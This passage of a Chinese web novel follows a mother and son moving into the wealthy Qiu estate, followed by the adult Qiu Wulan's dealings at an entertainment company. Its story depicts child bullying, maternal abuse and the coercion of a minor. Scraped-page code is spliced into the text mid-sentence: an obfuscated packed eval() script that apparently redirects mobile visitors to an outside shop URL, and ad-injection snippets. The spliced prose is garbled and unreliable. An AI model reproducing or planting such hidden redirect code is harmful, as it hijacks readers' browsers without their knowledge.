季葶放下行礼,迫不及待地逛起了这座庄园、察看起自己未来的领地。 她没有牵季尧的手,不需要牵,季尧始终寸步不离地跟在身后,像是她过去几次把季尧带去外面试图丢掉他一样,这个小东西蚂蟥一般叮着她、吸她的血,怎么也甩不掉。 他是季葶人生中最大的败笔。 那时她还是太年轻,以为有了孩子就能拴住男人的心。 等她生下季尧,那个深情多金的外国公子又告诉她,他的确很想要个孩子,但他不能因为孩子就抛弃自己的妻子。 他给了季葶一笔抚养费,临走前对她说:“宝贝,我知道单亲妈妈有多不容易,如果你感觉疲惫,也可以把孩子送去福利院,我永远支持你的决定。” 季葶冷得骨头打颤。 每每对上季尧这张融合了她与男人长相的脸时,她都恨得想要掐死他。 她本不想带季尧来邱家的,但听说邱岸山两个双胞胎儿子今年八岁。 年纪相仿的小男孩们很容易玩在一起,怀抱着侥幸,季葶像是给两个新儿子带了条小狗做礼物一样,把季尧带了过来; 如果两位小少爷不喜欢,她再把季尧送去寄宿学校,让他过年的时候去外婆家,永远不会打扰到他们。 庄园占地极广,季葶只在附近逛了逛就走出了一身细汗。 季尧一声不吭地跟着她,不论母亲走快走慢、走了多久,他始终如影随形跟着她。 折返本宅的时候,季尧在墙角阴影下看见了一辆简易小车。 和他见过的车子不一样,这辆小车四周通风,没有门窗,只有个顶篷。 两个女佣在一旁操作洒水机面板,一面捂着嘴说笑,目光若有若无地落在了走出潮汗的母子身上。 回到大厅,一阵孩童嬉戏的声音在屋里回响。 “撞他、撞他!快撞啊!” “左边左边!” 二楼的飘窗上站了几个小男孩,为首两个手里握着遥控器,两架玩具飞机正在空中对战。 两名女佣守在男孩们身后,她们脸上带着微笑,如同注视自己孩子一般,慈爱温柔地注视着这一帮闹腾的小少爷。 季葶偏头,看向一旁的人事管家,管家向她介绍,“那两位就是邱泽安、邱泽然少爷。另外三位,年纪小的两个是小邱先生的孩子,大的那位是夫人娘家那边的孩子。” 听见夫人二字时,季葶疑惑得差点脱口反问,她旋即意识到,管家口中的“夫人”指的是邱岸山的前妻,那个已经去世的女人,而不是她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749784|144927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 半空当中,两架飞机正面相对。 触碰的瞬间,体积较小的一架侧转机身,机翼精巧地刮过另一架的螺旋桨,大飞机骤然失衡,朝着地面栽去。 楼上爆发出欢呼和唏嘘。 “邱泽然,你做的什么破飞机啊,个头那么大还被邱泽安的撞掉了。” “闭嘴!我还没掉到地上呢!” 追随着下落的飞机,楼上那群男孩看见了门口的季葶母子。 吵嚷声停下,偌大的屋中顿时寂静一片。 季葶挽起笑容,正欲和自己未来的孩子打招呼,下一刻,她的头皮一阵剧痛—— 那架大一些的飞机就着下降的路线,在一个180°的全身倒转后,倏地朝季葶飞去,冲进了她的头发里。 高速转动的螺旋桨缠住了发丝,贴着头皮大力地转动着。 “啊!”女人尖锐的痛呼声响起,屋里再度爆发出男孩们的笑闹声。 两名女佣当即上前,以保护的姿态,担忧地守在了男孩们的身后。 季葶抱着自己的头,试图将飞机取下来,可头发与叶片、机翼缠在一起,小臂长的双重螺旋桨如绞肉机的刀片,卷入她的头发后依旧不停转动。 她拔不下来,痛得屈身抱头,在机械运转的嗡嗡声中狼狈惊慌地喊叫。 别说是八九岁的男孩,这滑稽的丑态让房中的其他佣人以及简都忍不住偷偷笑了起来。 男孩们张狂的笑声和女人的尖叫混在一起,无人注意时,三楼的书房门被推开。 抱着平板的少女走出了书房,立在更高一层的飘窗上,目睹了底下的闹剧。 一切收入眼中,她将平板反手递给房内的家庭教师,自己朝楼下走去。 “泽然。” 聒噪的闹声中响起了清冷的女音。 声音响起的刹那,肆意大笑的男孩蓦地一僵,顷刻间收起了脸上的笑。 不止是他,男孩们全都噤了声,他们微微低头,忐忑无比地悄悄打量下楼少女的脸色。 她走到鹌鹑一样的男孩面前,没有对他们说些什么,只是对两名女佣道,“休息时间结束了,带他们回去上课。” 两名女佣眼中的忐忑比男孩更甚,听了这话忙不迭是地点头,领着一群小鹌鹑回了三楼。 没了人操控遥控板,螺旋桨终于停下。 管家这才上前帮助季葶处理头发。 抱着头的季葶没有发现少女,直到飞机被管家摘下后,她才怒气冲冲地直起身。 正要整理仪表,一抬头,她和楼梯上的少女四目相对。 她的年纪还小,容貌冷淡却不冷冽,像是一簇亭亭立在薄雪上的兰。 她们之间有十几岁的差距,但当少女望向她时,季葶没由来的屏住了呼吸,如同她初次见到邱岸山的反应。 她是邱岸山的女儿——不需要管家介绍,季葶脑中自动蹦出了这句话来。 “季葶阿姨,是么。”她立在二楼楼梯中段,开口询问。 顶着一头乱发,季葶胡乱点头,忙着拉扯衣服,实在没有心情和她套近乎。 少女的目光移向她身边,落在了那过分漂亮的小男孩身上,略微一瞥便移开了视线。 “欢迎您来,我是邱芜澜,父亲和我提过您。”没有道歉,没有再多的介绍,她礼貌性地颔首,“我还在上课,您随意。” 不等季葶回应,出门到现在始终没有说话一句话的男孩突然上前半步。 他颤了颤眼睫,唇边泛起乖巧烂漫的笑,“姐姐好。” 13. 第十三章·【过去】 邱岸山这一走,半个月都没有回来。 季葶最初的激动渐渐演变成了焦躁。 列表里的姐妹还在连声恭喜,问她婚礼时间,可她却连邱岸山的电话都打不通,几次询问管家,什么都问不出来。 联系不上邱岸山倒也不是新鲜事,季葶最长一次隔了三个月才再见到他——但那是以前!现在她可是邱家的一员,而且还是未来的女主人! 对于这个垄断了国内多个领域的家族来说,家族成员有着非凡意义。当年邱夫人三次妊娠,每一次邱岸山都提前一个月居家,陪着她直到月子结束。 季葶有自知之明,她不奢求这样的重视,可邱岸山怎么也不该在她刚进家门时就人间蒸发,连个电话都打不通! 没有邱岸山在,这宅子里的人差点逼疯了季葶。 她终于从梦幻中回神,渐渐发现了浮华底下的暗流。 年轻的佣人轻慢她,年长的管事如同恶婆婆挑剔新妇般排斥她;两个管家,一个人事、一个财务,都是老奸巨猾的东西,看着和颜悦色满脸尊敬,可季葶想看一眼庄园的佣人名单都不行。 最要命的是两个小少爷。 有天晚餐上了一道奶油汤,季葶喝了两勺,第三勺舀起来时,一只拇指大的蟑螂出现在勺子上。 她吓得尖叫起来,对面则爆发出大笑。 邱泽然乐不可支地捧腹,他身后的女佣嘴上惊慌地哎呀了两声,“泽然少爷,您怎么能这样做……真是抱歉啊季小姐,泽然少爷从小就有点调皮,我这就让厨房给您换一碗。” 旁边的双胞胎哥哥邱泽安稍扯了扯弟弟的衣袖,余光迟疑地瞄向邱芜澜,邱芜澜安静地兀自进食着,仿佛没有看见桌上的恶作剧。 邱泽然笑够了,托着下巴盯着季尧,“喂,你怎么不喝汤?” 桌尾的男孩抬眸看向他,男孩很瘦,只有带了一点混血的脸上有少许婴儿肥。 相差两岁,季尧的体型却比邱泽然小上很多,漂亮得像是个洋娃娃,分辨不出性别。 他与邱泽然对视,邱泽然倨傲地盯着他,没有半分商讨的余地,这一过程中,也没有任何人开口为季尧圆场。 片刻,季尧双手捧起碗,小口小口地将汤喝了下去。 邱泽然一开始的戏谑渐渐变成了愣怔。 直到喝完、露出碗底的蟑螂后,季尧才放下碗,他唇上沾着奶油,冲邱泽然软软地笑,含着一丝生涩的讨好。 “你…”邱泽然瞪大了眼睛,确认了他碗中那只蟑螂后,嫌弃地皱了脸,“你是变态啊!” 锵—— 银制的刀叉放在瓷盘上,磕出一声清吟。 邱芜澜放下刀叉,起身离席,“慢用。” 邱泽安用肘撞了撞弟弟的胳膊,低声呵斥道,“你太不懂事了!” “姐姐本来就吃得少,你还要在饭桌上弄这么恶心的东西!” 邱泽然一愣,反应过来后朝邱芜澜的座位上望去。 她盘碗中的菜几乎看不出有哪里减少。 邱泽安起身,恼怒地瞪了弟弟一眼,“你自己吃吧!” “谁让你不提醒我的!”邱泽然也不吃了,丢下餐桌追着邱泽安跑去,“你早干嘛去了!” 他去拉邱泽安,被邱泽然扭肩甩开,“我拉了你几次了!而且你有早和我说要在汤里放蟑螂吗?” “我没和你说过吗?”邱泽然震惊。 在哥哥的怒视中,他心虚地又问了一遍,“……我没说过?” 兄弟俩打闹着走远了,季葶胸口剧烈起伏着,在邱家人离席后猛地起身冲去了卫生间。 餐厅中只剩下最小的季尧。 留守的女佣静默地站在角落,像是中世纪立在贵族走廊上的盔甲,又像是现代化社会中一台高精度的智能监控。 她俯视着桌尾丁点大的小东西,无声催促他快点离开,好让她收拾餐桌。 季尧没有走,他仰着头,迷茫而天真地询问:“姐姐,为什么大姐姐不吃了?她害怕蟑螂吗?” 女佣礼貌而冷漠地回答,“芜澜小姐对食物要求比较高,你不用在意,吃自己的吧。” 季尧似懂非懂地点头,没有听话吃饭,而是绕去了邱芜澜的座位,定定地盯着她的餐盘看。 他看见虾少了一只,切开的小番茄少了半颗; 看见炖牛肉的瓷盅上有一丝汤留下来的挂壁; 看见刀上残留了些许酒红色的酱。 季尧回到自己位子上,将所有盘子里的菜一一品尝过了,对女佣笑着道别:“谢谢姐姐,我吃饱了。” 他钻进了季葶房间带的儿童房,趴在床边的窗台上,望着右下方,那里能看见侧庭的一角。 邱芜澜很少离开三楼,季尧来了半个月,除第一天见面外,再没有和她说过话。 他发现每天下午,邱芜澜都会从那条路上经过,去往庄园后方,直到黄昏才会回来。 过了两点半,季尧果然看见邱芜澜坐着那辆没有门窗的简易小车从道上离开。 奇怪的车子。 第一天和季葶参观时,季尧就在庄园里看见零散的好几个。 他看向墙上的挂钟,于心中默数。 当他数到6000时,客房被推开,饱含着隐忍愤怒的脚步踏了进来,接着浴室响起了水声。 季饶数完8000,轻手轻脚地走了出去。 浴室的门也在此打开,裹着浴巾的季葶冷冷地看着准备出门的儿子,“干什么去?” “去找哥哥们。”季尧如实说。 女人哼出一声意味不明地冷笑,倒也没说什么,往沙发走去,坐下后打开精油揉腿,随口一句,“来这里后,你倒是不怎么烦我了,以前我上个厕所你都要守在门口。” 她最烦这小杂种不分场合地贴着她,还总撒谎说看不见她会头痛。 季尧无措地站在门前,不知如何回话。 “去啊。”季葶将精油抹在腿上,“我又不是在骂你,你要是能和他们玩得好,我还得谢谢你。” 男孩沉默片刻,冲着背对他的妈妈勾起甜软的笑。 “好的妈妈。” 他去了窗户下的那条内部路,对面便是蔷薇园。 季尧坐在路边的长椅上,撑着座沿遥望那些花盘大到沉重的花朵。 花和藤在他眼中化为色块,过高的饱和度让他眼睛泛了疼。 时不时会有这种情况。当他一个人待着时,眼前的世界就会拉伸、扭曲,最后变成奇异的色块。 反过来说,当他和妈妈在一起时,世界就会从扭曲的色块变成形形色色的景物。 季尧不知道那一个世界才是正常的,或许两个世界都是正常的,就像天空的颜色总会变幻一样,这应该也只是种正常的自然景象。 他在外面待了几十个数,就等到了自己需要的人。 邱泽然。 “起开。”高季尧大半头的男孩恼火地朝他跑来,“谁准你坐在这里的!” 他像是一头愤怒的小牛犊,眼中只有那块可恶的红布。 季尧呆着没动,吓懵了一样。 邱泽然走到他身前,一把拽着他的胳膊,把他从长椅上扯了下来。 “这是我们和母亲的位置,你也配坐在这里!”他气不过地踹了季尧几脚,身后站着的双胞胎哥哥并无阻拦的意思。 “对、对不起……”季尧嗫语着,连连后退,“我不知道。” “你不知道什么?”邱泽然大吼,“你不知道你妈妈是小三?不知道这里不是你的家?这里的人都姓邱,你姓什么你自己不知道!” 他说着就上手去抓季尧的头发。 在季葶和邱夫人的诸多相似之中,数头发最为相似。她们都是带一点曲度的自然卷,如绸如缎,亦如水下摇曳的海藻。 季尧遗传了妈妈的头发,这使得他更像一只洋娃娃,也更加激怒了母亲病逝不到一年的邱泽然。 他抓着季尧的头发往墙上磕,邱泽安没有制止弟弟,只是说:“换个地方,姐姐快要下课回来了。” “有什么关系,”邱泽然不以为意,“他敢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 坐在这里,姐姐知道了也会想揍他!” 额头撞在粗砺的墙面上,直击骨头的痛楚中,季尧瞥见墙角匆匆闪过的裙角。 是女仆的衣服。 所有佣人都自觉回避,假装没有看到。 “注意分寸。”邱泽安提醒道,“别给家里惹麻烦。” 邱泽然没空回话,他左臂格着季尧细嫩的脖子,把他压在墙上,右手提拳往他肋下砸。 成套的动作、阴狠的部位,无一不说明这位将将八岁的小少爷受过格斗训练。 第一拳下去,季尧脸色煞白。 他挨过很多次季葶的打,可没有一次比这一拳更加痛苦。 他痛得流出了眼泪,却没有再道歉,也没有求饶,只是持续默数。 在他数到8657时,庭院代步车从道路远处开了回来。 邱泽安刚要制止邱泽然,车上的少女便撑座跳车,一把扣住邱泽然的肩膀,将他半身拽开。 男孩打得红眼,猝不及防对上邱芜澜的眸子,不由得气短了一截,“姐、姐姐。” 他笃定邱芜澜也不会同意季尧玷污他们和母亲的长椅,但真被邱芜澜捉到时,还是忍不住发虚。 “姐姐,是他…”他张嘴要告状,被邱芜澜打断。 “够了。”她说,“你这是在干什么。” 她不分清白的呵斥让邱泽安都忍不住委屈,“姐姐,你不先听我们说明理由么?” “他坐了这个长椅!”半大的男孩握着双拳,喘着粗气,迁怒地大喊,“这是母亲和我们一起看花的地方!” 邱泽安以为姐姐知道原因后会和自己同仇敌忾,可邱芜澜只是看着他,她没有比他高很多,却像是在居高临下地俯视。 “这不是你的椅子,”她残忍而轻声地道出了事实,“这是父亲的。” 邱泽然愣了。 “这张椅子、这片宅院,还有他和他的妈妈,全部都是父亲的东西。”邱芜澜说,“父亲只是暂时借给我们使用,不是真的让我们支配它。” 少女下巴微抬,指向大门方向。 “洗澡、吃饭,然后去上你们的晚课,明天我会要求老师们进行一次抽测。” “为什么!”回过神来的邱泽然大喊,“为什么你总是这么向着他们!我们才是你的亲弟弟!他们入.侵了我们的地方,应该把他们赶出去!” “我不是这里的主人,你也不是,没有驱赶谁的权力。”邱芜澜漠然道,“正如你现在反驳我一样,你知道我没有权力要求你做什么,有权力的是父亲。泽安,你是要我找父亲和你对话么。” 邱泽然愤然转身,怒气冲冲地走了。 邱泽安犹豫地看了眼邱芜澜,这次选了和弟弟站在一条战线,小跑着追上了他。 “小姐。”管家适时出现,试图劝慰三个刚刚失去母亲、变得浑身带刺的孩子。 “你很溺爱我们。”在他说话之前,邱芜澜回眸,先一步警告,“但雇佣你的人是父亲。作为管家,至少应该妥善保管好雇主的私人用品。” 管家一顿,低头道,“我这就安排医生。” 邱芜澜迈步回了庭院车,取下剑术课上的练习用刀,继而朝大门走去。 运动裤被轻轻拉扯,她回头,看见捂着肚子,颤巍巍抬头的男孩。 他的脸被压在粗砺的墙壁上,磨破了一片皮,生理泪水留了满脸。 如同初生的小鹿挣扎站立一般,他亦拼尽全力、挣扎着对邱芜澜露出一个讨好的笑来。 “姐姐……”他说,“我也想和哥哥一样学习。” 邱芜澜讶然。 这是季尧在她心中第一次留下了印象,不是可怜的小狗、不是隐忍蛰伏的小狼,也不是后来人们常骂他的狐狸精。 邱芜澜想到了真蛸。 一个极其擅长观察模仿、具有强大学习能力的天才,如同拥有五亿神经元的真蛸。 母亲去世的那一年,邱芜澜想拥有一把长椅,但那是父亲的东西。 她需要力量,需要人来帮助自己。 14. 第十四章 不等第二天太阳出现,田烨就被封杀了。 没有什么通知下达到他手中,只是各个项目开始给经纪人打解约电话。 “不是,等一下,下周就是演唱会了,彩排都走完了,您现在和我说场地不能用?”经纪人急得冒了火泡,“粉丝们来瑚城的机票都买好了,您知不知道这时候解约的违约费是多少!” “这不是钱的问题,你们要把场地给谁?我不信真有人敢用你们的场地!” “……什么?”在经纪人的愣怔之中,蜻蜓场馆的负责人挂断了电话。 田烨急不可耐地询问:“怎么样,演唱会能正常进行么?” 经纪人铁青着脸摇头。 “为什么!”田烨错愕,“全世界都知道我要在那里开演唱会,谁敢这么光明正大地抢!他们不怕被唾沫淹死吗?” 想到了什么,他指着经纪人喊,“他们要是敢把场地空着、找什么闭馆整改的借口,就不怕传出邱家权钱交易、封杀艺人的丑闻么!” 经纪人气得头疼,拿起抱枕砸去田烨身上,让他清醒,“别以为自己被几个花痴喜欢就是皇帝了!你以为你是谁?才火了几年,怎么就没人敢用你的场地了!” “你…”他的态度前所未有的恶劣,冷不丁把田烨给镇住了。 “我告诉你,”到了这一步,经纪人一句话都懒得装了,“昨天州际经济联合小型会议将地点定在了瑚城西,三十公里内清场!” “什么小型会议?”田烨根本没有听清,“这种政治会议不都是提前很久发通知的么,他们开会至少一个月后了,和我下周的演唱会有什么关系!” “下个月开会,这一个月里会场当然是把不必要的活动踢掉,把重要的活动往前挪。”经纪人把手机怼到田烨面前,给他看蜻蜓负责人发来的排程表,“你是比天王重要,还是比贫困儿童慈善救助活动重要?” 田烨不敢碰瓷天王,“慈善活动哪里不能开啊,干嘛要占用会馆——还占三天?!我出钱,让他们去酒店里办不行吗?” “……”经纪人捂着额头,疲惫不堪,“你还不明白么,你惹毛了邱芜澜,人家是在封杀你啊!” 田烨不自在地别过脸去,嘴上还要说:“我知道她在针对我,但这个什么会议只是巧合啊,难道她还能在半天时间里左右国际会议的选址?” 他说完却没听见经纪人说话。 田烨回头,就见经纪人气笑了似的定定盯着他。 “是。”他颔首,“她能,而且压根用不着她开口说话。” 捡起自己丢在沙发上的外套,经纪人临走前通知他,“我去找老板汇报你的情况,你在家等公司通知吧。” 田烨怔怔地坐在沙发上,过了会儿才反应过来冲门大喊,“什么意思?喂!你回来说清楚!” 窗外传来汽车的引擎声,声音越来越远。 八点四十五,离娱乐公司上班还有十五分钟,即便是冬天,天色也已大亮。 从前这个时间,田烨或是刚刚结束工作,疲惫地倒在床上大睡;或是匆匆起床忙着赶通告。 现在四周安静祥和,只余零星鸟叫。 他终于是惶恐了起来,前所未有的惊惧包裹了他,让他后知后觉地意识到——邱芜澜所拥有的资源到底多么恐怖,而那句“好聚好散”又有多么珍贵。 她和自己身边那些人傍上的金主根本不在一个量级。 他错失了她,也得罪了她。 九点十分,娱乐公司拥挤的电梯终于稍能喘息。 秋叶娱乐副总裁室的门被匆匆叩向,门从外推开了半边,探出女人姣好的半身。 宋折凝对办公室内的邱芜澜勾了勾手,“芜澜,来一下,MS的制作人到了。” 正在向邱芜澜汇报今天行程的简懵了,“MS制作人?什么时候的事,我没有收到通知。” “哦,sorry呀。前天我刚好遇上他,顺便就谈了,昨天拍了一天戏,把这事儿给忘了,人家今早给我打电话我才记起来。”宋折凝笑笑,“大会议室,我先过去咯,你别让人等久了。” 简把她没关上的门关上。 “小岚真是越来越不靠谱了,这么重要的行程居然让艺人自己临时通知我们。”她纳闷着,“我记得这个月宋折凝的行程是满的,她哪有时间去参加MS这么大的活动?” 回到办公桌前,简重新审视手中的行程表,试探询问:“需要把原定的分公司会议推迟吗?”说着,又有意无意地补了一句,“艺人行程是经纪人和所属团队的事,按照规章流程,其实也不需要管理层参与。” 办公桌上,邱芜澜的手机嗡嗡震 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 动了两下。 她伸手拿过,有人给她发了消息。 聊天界面上的ID没有备注名,只有一个天气预报中的下雨图标。 对方发来照片,照片里是一支金塑梅枝。 手臂长的梅枝蜿蜒苍劲,枝上指甲盖大小梅花雕刻得栩栩如生。 这支纯金梅枝的图片下,覆了一行字: “折了今年冬天的第一支梅,送给我的芜澜。” 简眼见着,邱芜澜眼角化开了一丝笑意。 她回复:恭喜蝉联金梅奖。 对方很快回道:太官方了[不高兴] 邱芜澜笑意微收,她在对话框里输入了文字,修修改改后,最终还是全部删掉。 框里还剩下两个字没删,对面又弹出了消息。 “要语音么?” 邱芜澜:算了,不用。 雨:发生什么事了? 邱芜澜:没什么。早点回来,我会准备金梅奖的贺礼。 她熄了屏,抬眸看向面前的简,“让泽安主持会议,宋折凝那里结束得早的话,我们再中途插.入。” 简语气稍急,“今天是影视城的总工程师第一次参加会议…” “参加个综艺而已,不会谈太久的。”邱芜澜起身,“她是哥哥亲手签的艺人。” 简暗叹一声,将这场临时会议插到行程表最上方。 “好的,我去安排。” 手机另一端,一双优美的手正把玩着梅枝上的花瓣。 “赶在你获奖前解约了。”西装革履的男人看着手机里传来的消息,如释重负地松了口气,“否则光凭蝉联金梅奖这一项,就会让你的解约费再翻一倍。” 他放松下来后,又忍不住担忧,“你真打算自己单干?我知道你很有天赋,可单干和在大公司里干是不一样的,要不要再考虑一下?凭良心讲,公司对我们是真的不错,好的资源都先给你挑,董事会也说,你要是对公司有什么想法,可以再谈。” “嗯?谁说我要单干。” 精美的梅枝被随手扔去一旁。 纯金打造的梅枝在床上滚了两圈,随即掉落在地毯上,发出沉重的闷响。 “回国吧。” 优雅如歌的嗓音响起,带着点慵懒,含着丝丝浅笑,“她就快需要我了。” 15、第十五章 “宋姐能做ms的导师,对我们节目可是天降之喜了。” 大会议室里和乐融融。邱芜澜进来时,看见宋折凝坐在会议桌首座,右侧一列皆是ms的负责人,包括艺术总监、制片人和导演,连承办ms这一栏目娱乐公司——华映的项目经理都在其列。 “诶,芜澜,来,这边坐!”见到邱芜澜,宋折凝立刻冲她招手,热情地招呼她坐到自己身边,像是个格外照顾后辈的大姐姐。 等邱芜澜拉开椅子准备坐下,宋折凝忽地一拍桌子,“不对。” 她慢半拍地反应过来,作势要起身,“刚刚你不在,现在你来了,来来来,上座。” 邱芜澜好笑地睨了她一眼,“没事的姐,都一样。” “哎呀。”宋折凝顿时笑开了,身子又沉了回去。 她拍着邱芜澜的肩,对ms一行玩笑道,“看见了?我们小邱总亲自过来给我抬咖,知道姐的分量了哈?” 对面当即附和,“宋姐还要别人抬咖?秋叶和您加盟,那是给咱们节目抬咖。” 说话者已足够圆滑,看出了些端倪,遂将秋叶娱乐放在了自家公司上面,以表对邱芜澜的尊敬。 简瞥向和ms打成一片的宋折凝,在毫无意义的吹捧中忍了十分钟,礼貌打断,“今天实在不巧,邱总一会儿还有个会议。” 邱芜澜适时颔首,“有点忙,你们先商量着,宋姐这边没问题的话,我也没什么意见。” ms一行当即应好,邱芜澜起身欲走,被宋折凝抓住手腕。 “我来的路上点了甜品,马上到,等会儿嘛,吃个蛋糕再走。” 简抓紧了手中文件夹,眼底已有怒意。 邱芜澜低头,看着宋折凝扣在她手腕的手,“姐,你忘了,我乳糖不耐受。” “小看姐姐了不是?”宋折凝得意道,“我看着你长大的,还能记不得?特地给你点的不加奶!” “来来来,坐这儿。”她拽着邱芜澜把她按回去,“特地为你点的,五分钟就到了,让他们等等怎么了,就说是我拉着你开的会。” 简实在看不下去,正要向宋折凝说明这次会议的重要性,被邱芜澜余光扫了回去。 她知道宋折凝就是这个性格;能记得自己对外声称的乳糖不耐受,是真的将她放在了心上。 作为普通艺人,她也并不清楚秋叶集团在部署什么战略,在宋折凝的视野中,秋叶娱乐作为一家娱乐公司,全司上下不会再有什么事比她这个一姐更加重要,让其他小辈等她五分钟不是什么过分的要求。 最关键的是,她是哥哥一手签约、一手捧红的艺人。 邱芜澜不会拂邱承澜的面子。 她重新坐下,注意到了一丝目光。 华映的项目经理赵志强若有所思地望着她和宋折凝,在邱芜澜看过来的时候,大大方方地笑了笑,自然地收回了视线。 蛋糕送到,宋折凝给简塞了一盒,却不让邱芜澜提盒走人。 “我知道你多挑剔,得盯着你吃下去。” 她当场拆了盒子,挖了一勺递到邱芜澜嘴边,“来,小嘴巴张开,姐姐亲自喂你。” 简差点昏厥窒息。 邱芜澜勾起耳边的碎发,张嘴吞了下去。 她低下头的时候,扫见宋折凝眼里浓郁的笑意。 邱芜澜很熟悉这种笑,通常是女人被灌酒时,男人们眼里会有的笑意。 她瞥向ms几人手里记录的本子,不知道宋折凝用这场测试副总裁服从性的游戏,为自己提高了多少报价。 显而易见的是,她很喜欢她向她低头的样子。 邱芜澜该喜爱宋折凝的。 她是她最成功的艺人,虽然是哥哥签的约,却是在她手里红的。 她是邱芜澜为秋叶打造得最耀眼的星星,她本该爱她,像作者爱自己的最高杰作,可这一场又一场的服从性测试着实磨灭了她对宋折凝的爱意。 但宋折凝到底是哥哥签的艺人,是她花费十年打造的星星。 邱芜澜纵然不爱她,也必须包容她,像母亲不得不包容自己叛逆的孩子。 她吃了两口蛋糕,脱身离开。 等宋折凝的团队和ms谈完所有事项,已近中午。 众人整理好资料就此散会,赵志强走至宋折凝身边,“宋姐,不介意的话,中午一起吃个饭吧,我请客。” “用不着。”宋折凝挑眉,“这是秋叶,姐的地盘,哪里轮得到你来买单。” 赵志强笑笑,“好啊,那我就听您安排了。” …… 季尧回到别墅时,在桌上看见了个蛋糕盒。 私房蛋糕,盒子上标注了不含乳糖。 “喜欢就吃了吧。”沙发前的邱芜澜照旧是一边开着电视放秋叶的节目,一边拿着电子笔在项目图上作标记。 “我动了两口,代糖的,热量不高。” 季尧转手把那盒蛋糕扔进垃圾桶,“还是碳水,我不想把卡路里浪费在难吃的东西上。” 盒子坠落,发出噗的轻响,邱芜澜扭头,眉眼舒展。 “考试怎么样?” 季尧虽然已经出道,不需要守着学校上课,但各项考试还是得参加。临近寒假,他这一周都有考试。 “姐姐想听实话?” 邱芜澜抬眉,见少年灿烂地笑,“会及格的。” 他洗了手就往厨房钻,邱芜澜听见了烤箱预热的按键声。 今天会有甜甜的蛋糕。她心情好了点儿。 在邱芜澜一众高的美食要求中,她对甜点的要求最为苛刻。 她爱甜,可就连给专门为她定制糖果的甜品师都做不出太多让她满意的种类,因此简包包里的糖始终只是那么单调的几款。 好在邱芜澜对食物的种类不挑。 乳糖不耐受,是在外省去麻烦的借口;季尧掌勺,那她就没什么不吃的食物。 空气中有了糕点香甜的味道,正餐之后,季尧端了朗姆酒蛋糕搁在茶几上。 他的回火技术称得上精湛,巧克力外壳光滑如明镜,邱芜澜切下一块放入口中。 醇香的酒味向颅内升腾,只有酒味、没有酒精,削弱了对交感神经的刺激,但甜食同样能催产出愉悦的多巴胺。 “帮我开瓶酒。”朗姆香勾得她有了喝酒的兴致。 蛋糕的味道过于浓厚,季尧为她选了偏酸清爽的白葡萄酒。 邱芜澜的病不适合饮酒,在外无法避免,在家里,她酒柜中所有酒都经过了脱醇、限制发酵,酒精含量几乎为零,是欺骗味觉和嗅觉的饮料。 他侧身为邱芜澜倒酒,巨大的电视屏幕里正上演着特工男配潜入西餐厅,伪装成侍者倒酒的剧情。 昂贵的音响将淅淅沥沥的倒酒声环绕在耳边,令人身如其境。 邱芜澜目光下移,看见季尧修长冷白的手持着高脚杯,清白的酒液入杯,空中的酒柱仿若静止,发出的声音润如滑石。 邱芜澜叹息。 她抬手拍下屏幕上的画面,发送给简,同时按下手机语音键:“这一段的音消了,明天下午安排个录棚给季尧配音。” 季尧将倒好的酒放在甜品盘边,困惑地看向邱芜澜。 邱芜澜抚摸着他微卷的软发,轻声解释,“我不想听撒尿,观众也不会想。” 季尧扑哧一笑,“姐姐太严格了,只是一两秒而已。” “想做演员么?”邱芜澜问。 季尧弯眸,“我听姐姐的。” 邱芜澜收回了手,抿了口醒好的白葡萄酒,关掉了电视机。 她说,“给我弹点什么吧,什么都行。” 说罢,她又低头看向手中庞大复杂的招标统计。 季尧依言照做。 他取了小提琴下来,站在沙发左边的封闭式阳台里,淋着月光为邱芜澜伴奏。 少年垂眸茕立,卷翘浓密的眼睫合成一线,他偏头拉弦,用悠扬婉转的音色伴着邱芜澜直到深夜,四个小时一息不歇。 在季尧回家之前,邱芜澜已然收到了影视学校的理论考试成绩单。 又一次,季尧全科成绩在六十分之上、七十分之下。 惨不忍睹的分数。 没有一个已经出道的偶像会有这个成绩。 她罚他在这儿练习补考,逼他重新交卷。 可足足四个小时,那琴声无懈可击,完美得找不到一丝错漏可揪。 邱芜澜因甜品而平静的心情在琴声里腾升出恼火。 她丝毫不气宋折凝,却气月光下温顺的季尧。 “过来。”她冲他招手。 季尧收了弦,乖乖朝她走去,脸上带着近乎天真的甜笑。 他走到邱芜澜面前,邱芜澜手指往下压,示意他下去。 季尧弯腰,邱芜澜继续垂手,他便直接跪在了邱芜澜脚旁。 她提起茶几上的酒瓶,除了季尧最初给她倒的那半杯外,四个小时里再没有动过。 左手提着瓶颈,邱芜澜右手温柔地抚上了季尧的侧脸,将他的脸扬起,拇指覆在了少年柔软的唇角上。 季尧配合着张嘴,下一刻,邱芜澜偏斜手腕,将酒瓶对着他张开的嘴巴倾倒。 白色的酒液拉成长线,被落地窗外的皎皎月光和屋内熠熠生辉的灯光照亮,折射出钻石一般的光彩。 季尧跪在地上,双手还拿着琴和弓,揉弦的四指指腹已通红烂熟,透出条条血痕。 白葡萄酒灌下的刹那,他本能地瑟缩了一下,在感受到抬着他下颚的温凉指尖后,又生生顿住,保持这一姿势,顺从地吞咽冷酒。 少年修长的脖颈上喉结不停滚动。 他大口吞咽,依旧有许多酒液从嘴角溢出。 邱芜澜轻扶着他的下巴,盯着他艰难吞咽的喉咙,控制着倒酒的速度。 “晚安。”待一整瓶倒空,她将空瓶放去一旁,起身上楼,“早点休息,记得明天开始的专业考试,还有棚录。” 月光和灯光的交汇处,少年伏在地上,捂着喉咙压抑地咳嗽。 那双清澈的圆眼酸红一片,生理性的泪水和溢出的酒水涂满了整张脸。 